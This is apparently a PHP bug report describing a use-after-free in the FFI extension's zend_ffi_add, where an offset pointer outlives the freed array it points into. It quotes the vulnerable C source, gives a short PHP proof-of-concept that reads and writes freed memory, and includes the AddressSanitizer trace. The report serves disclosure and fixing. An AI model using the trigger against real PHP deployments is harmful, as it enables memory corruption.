Description
Summary
When pointer arithmetic is performed on an owned FFI\CData array object ($base + N), zend_ffi_add() creates a new FFI\CData object whose ptr_holder stores the computed address inside the base's C allocation. No reference is held from the new object back to the base, OBJ_ADDREF is never called and ZEND_FFI_FLAG_OWNED is not propagated.
When the base object is GC'd, zend_ffi_cdata_dtor frees the underlying C allocation via pefree(cdata->ptr, ...). The offset CData's ptr_holder field then holds a dangling pointer into the freed region. Any subsequent FFI read or write through the offset CData constitutes a UAF on that freed allocation.
The bug applies to the array case (base_type->kind == ZEND_FFI_TYPE_ARRAY) where ptr = (char*)base_cdata->ptr is the direct allocation address. The pointer case (ZEND_FFI_TYPE_POINTER) is not affected because ptr is derived by dereferencing the pointer value, which points to C memory not owned by the base FFI\CData.
Vulnerable Source Code
// ext/ffi/ffi.c:1808-1861 -- zend_ffi_add, array case
static zend_object* zend_ffi_add(zend_ffi_cdata *base_cdata,
zend_ffi_type *base_type,
zend_long offset)
{
zend_ffi_cdata *cdata =
(zend_ffi_cdata*)zend_ffi_cdata_new(zend_ffi_cdata_ce);
if (base_type->kind == ZEND_FFI_TYPE_POINTER) {
...
ptr = (char*)(*(void**)base_cdata->ptr); // dereference pointer -- C memory, safe
} else {
/* ARRAY case */
...
ptr = (char*)base_cdata->ptr; // line 1854: address of owned allocation
}
cdata->ptr = &cdata->ptr_holder; // line 1856
cdata->ptr_holder = ptr + // line 1857: raw offset into base's buffer
(ptrdiff_t)(offset * ZEND_FFI_TYPE(ptr_type)->size);
cdata->flags = base_cdata->flags // line 1859: OWNED not included
& ZEND_FFI_FLAG_CONST;
return &cdata->std; // no OBJ_ADDREF(base_cdata)
}
// ext/ffi/ffi.c:2407-2417 -- destructor frees base's allocation
static void zend_ffi_cdata_dtor(zend_ffi_cdata *cdata)
{
zend_ffi_type_dtor(cdata->type);
if (cdata->flags & ZEND_FFI_FLAG_OWNED) {
if (cdata->ptr != (void*)&cdata->ptr_holder) {
pefree(cdata->ptr, ...); // frees base's array allocation
} else {
pefree(cdata->ptr_holder, ...);
}
}
}
// ext/ffi/ffi.c:3953-3966 -- FFI::new sets OWNED on base
ptr = pemalloc(type->size, ...);
cdata->ptr = ptr; // direct pointer, != &ptr_holder
cdata->flags = ZEND_FFI_FLAG_OWNED; // -> pefree(cdata->ptr) on dtor
How to Trigger
<?php
$ffi = FFI::cdef('');
$base = $ffi->new('int[10]');
$offset = $base + 2;
unset($base);
var_dump($offset[0]);
$offset[0] = 0x41414141;
Command:
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f7/poc.php
Output:
=================================================================
==90394==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000078558 at pc 0x00010481b4f8 bp 0x00016ba5bca0 sp 0x00016ba5bc98
READ of size 4 at 0x604000078558 thread T0
#0 0x00010481b4f4 in zend_ffi_cdata_to_zval ffi.c:571
#1 0x0001047c6d30 in zend_ffi_cdata_read_dim ffi.c:1438
#2 0x000105b1d120 in zend_fetch_dimension_address_read zend_execute.c:3178
#3 0x000105f15cd8 in zend_fetch_dimension_address_read_R_slow zend_execute.c:3220
#4 0x000105deb38c in ZEND_FETCH_DIM_R_SPEC_CV_CONST_TAILCALL_HANDLER zend_vm_execute.h:94497
#5 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
#6 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
#7 0x0001060fee20 in zend_execute_script zend.c:1971
#8 0x000105758aa4 in php_execute_script_ex main.c:2646
#9 0x000105759014 in php_execute_script main.c:2686
#10 0x0001061055dc in do_cli php_cli.c:947
#11 0x000106103b9c in main php_cli.c:1370
#12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
0x604000078558 is located 8 bytes inside of 40-byte region [0x604000078550,0x604000078578)
freed by thread T0 here:
#0 0x000109380f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
#1 0x0001059c6d0c in __zend_free zend_alloc.c:3571
#2 0x0001059caa20 in _efree zend_alloc.c:2788
#3 0x000104822688 in zend_ffi_cdata_dtor ffi.c:2412
#4 0x0001047c509c in zend_ffi_cdata_free_obj ffi.c:2468
#5 0x00010607e800 in zend_objects_store_del zend_objects_API.c:193
#6 0x0001060e49fc in rc_dtor_func zend_variables.c:56
#7 0x000105e7dfbc in ZEND_UNSET_CV_SPEC_CV_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:101914
#8 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
#9 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
#10 0x0001060fee20 in zend_execute_script zend.c:1971
#11 0x000105758aa4 in php_execute_script_ex main.c:2646
#12 0x000105759014 in php_execute_script main.c:2686
#13 0x0001061055dc in do_cli php_cli.c:947
#14 0x000106103b9c in main php_cli.c:1370
#15 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
previously allocated by thread T0 here:
#0 0x000109380e24 in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54e24)
#1 0x0001059cb030 in __zend_malloc zend_alloc.c:3543
#2 0x0001059ca8f4 in _emalloc zend_alloc.c:2778
#3 0x0001047abd88 in zim_FFI_new ffi.c:3953
#4 0x000105db5e38 in ZEND_DO_FCALL_SPEC_RETVAL_USED_TAILCALL_HANDLER zend_vm_execute.h:54920
#5 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
#6 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
#7 0x0001060fee20 in zend_execute_script zend.c:1971
#8 0x000105758aa4 in php_execute_script_ex main.c:2646
#9 0x000105759014 in php_execute_script main.c:2686
#10 0x0001061055dc in do_cli php_cli.c:947
#11 0x000106103b9c in main php_cli.c:1370
#12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
SUMMARY: AddressSanitizer: heap-use-after-free ffi.c:571 in zend_ffi_cdata_to_zval
Shadow bytes around the buggy address:
0x604000078280: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x604000078300: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 00
0x604000078380: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x604000078400: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x604000078480: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
=>0x604000078500: fa fa 00 00 00 00 00 fa fa fa fd[fd]fd fd fd fa
0x604000078580: fa fa fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x604000078600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000078680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000078700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000078780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==90394==ABORTING
[1] 90394 abort USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f7/poc.php
Note: per response on GHSA-rfj7-84rv-8j4h this is not a security issue
PHP Version
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
Operating System
No response
Description
Summary
When pointer arithmetic is performed on an owned
FFI\CDataarray object ($base + N),zend_ffi_add()creates a newFFI\CDataobject whoseptr_holderstores the computed address inside the base's C allocation. No reference is held from the new object back to the base,OBJ_ADDREFis never called andZEND_FFI_FLAG_OWNEDis not propagated.When the base object is GC'd,
zend_ffi_cdata_dtorfrees the underlying C allocation viapefree(cdata->ptr, ...). The offset CData'sptr_holderfield then holds a dangling pointer into the freed region. Any subsequent FFI read or write through the offset CData constitutes a UAF on that freed allocation.The bug applies to the array case (
base_type->kind == ZEND_FFI_TYPE_ARRAY) whereptr = (char*)base_cdata->ptris the direct allocation address. The pointer case (ZEND_FFI_TYPE_POINTER) is not affected becauseptris derived by dereferencing the pointer value, which points to C memory not owned by the baseFFI\CData.Vulnerable Source Code
How to Trigger
Command:
Output:
PHP Version
Operating System
No response